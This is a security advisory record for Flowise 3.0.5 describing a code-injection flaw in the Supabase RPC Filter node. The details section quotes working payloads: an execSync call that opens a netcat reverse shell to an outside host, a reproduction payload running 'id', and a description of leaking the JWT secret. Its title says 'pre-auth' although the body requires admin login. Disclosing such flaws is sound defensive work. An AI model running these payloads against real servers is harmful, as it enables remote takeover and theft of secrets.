{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "flowise"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.5"
            },
            {
              "fixed": "3.0.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "3.0.5"
      ]
    }
  ],
  "aliases": [
    "CVE-2025-57164"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-09-15T19:51:08Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\nAn authenticated admin user of **FlowiseAI** can exploit the **Supabase RPC Filter** component to execute **arbitrary server-side code** without restriction. By injecting a malicious payload into the filter expression field, the attacker can directly trigger JavaScript\u0027s `execSync()` to launch reverse shells, access environment secrets, or perform any OS-level command execution.\n\nThis results in **full server compromise** and severe breach of trust boundaries between frontend input and backend execution logic.\n\n## Details\n\nFlowiseAI includes a component called `Supabase.ts`, located at: `packages/components/nodes/vectorstores/Supabase/Supabase.ts#L237`\n\n\u003cimg width=\"622\" height=\"177\" alt=\"image(3)\" src=\"https://github.com/user-attachments/assets/f30ccd12-4709-44ac-a6ef-8f57a1cb5c3b\" /\u003e\n\nThis creates a function from user-provided string `supabaseRPCFilter` with no filtering, escaping, or sandboxing in place. Any injected JavaScript in this string is compiled and executed **immediately** when the node is triggered.\n\n### Exploit\n\nWe configured our environment to use Supabase entities as follows:\n\n\u003cimg width=\"573\" height=\"765\" alt=\"image(4)\" src=\"https://github.com/user-attachments/assets/b8c721db-7b6b-4fb4-99c1-a4b0c3f98caf\" /\u003e\n\nTo confirm the vulnerability, a filter expression was crafted to forcibly raise an error and expose sensitive environment variables:\n\n\u003cimg width=\"1920\" height=\"915\" alt=\"image(5)\" src=\"https://github.com/user-attachments/assets/19e377dd-fd78-4437-b2d4-48c72d75f947\" /\u003e\n\n![image-1](https://github.com/user-attachments/assets/34e71d47-6ecb-4a93-af0f-3526696f16e6)\n![image-2](https://github.com/user-attachments/assets/a512537c-caa9-4f70-a7be-1e75a622c06e)\n\nThis results in the **JWT secret being printed** to the frontend, confirming access to server-side environment variables.\n\nSubsequently, a **reverse shell** was successfully established using:\n\n`filter(process.mainModule.require(\"child_process\").execSync(\"nc [REDACTED] 9999 -e /bin/sh\"), \"gt\", 5)`\n\n\u003cimg width=\"425\" height=\"475\" alt=\"image(6)\" src=\"https://github.com/user-attachments/assets/6dde2461-8db4-4d8d-8318-7b7171a32eb4\" /\u003e\n\nThis proves arbitrary OS-level command execution is possible **within the FlowiseAI backend runtime context**.\n\n## Steps to Reproduce\n\n1. Deploy a FlowiseAI instance with the Supabase vector store enabled.\n2. Login as an admin user.\n3. Drag in a `Supabase` node and configure \"Supabase RPC Filter\".\n4. Insert a malicious payload in the filter expression, such as:\n    \n    `process.mainModule.require(\"child_process\").execSync(\"id\")`\n    \n5. Trigger the chatbot or workflow to activate the node.\n6. Observe execution of arbitrary code on the backend.\n\n## Impact\n\n- **Remote Code Execution** (RCE): Full OS-level code execution from frontend user input.\n- **Environment Leakage**: Access to sensitive env variables like `JWT_REFRESH_TOKEN_SECRET`.\n- **Reverse Shells**: Ability to connect out of the server and gain interactive remote shell access.\n- **Persistence Risk**: Attacker can install malware, establish persistence, or exfiltrate data.\n- **LLM Prompt Tampering**: Malicious outputs may be injected back into LLM chains.\n\n## Trust Boundary Violation\n\nThe vulnerability breaks the boundary between frontend node configuration and backend execution logic. An attacker-supplied value (`supabaseRPCFilter`) becomes part of **compiled JavaScript logic**, blending user-controlled input with trusted backend execution.\n\nThis violates **OWASP LLM Top 10 - LLM-06: Sensitive Code Execution**, especially in low-code / visual LLM agents.\n\n## Evidence\n\n*Environment variable leakage via malformed JSON*\n\n*Reverse shell successfully triggered using attacker-controlled input*\n\n## Credit\n\n**This report was prepared by Team 404 Not Found \ud1f4\uadfc (WhiteHat School 3rd cohort, South Korea)**",
  "id": "GHSA-7944-7c6r-55vv",
  "modified": "2025-10-17T20:23:36Z",
  "published": "2025-09-15T19:51:08Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-7944-7c6r-55vv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-57164"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/FlowiseAI/Flowise"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/blob/flowise%403.0.5/packages/components/nodes/vectorstores/Supabase/Supabase.ts#L237"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/blob/main/packages/components/nodes/vectorstores/Supabase/Supabase.ts#L237"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/releases/tag/flowise%403.0.6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "FlowiseAI Pre-Auth Arbitrary Code Execution"
}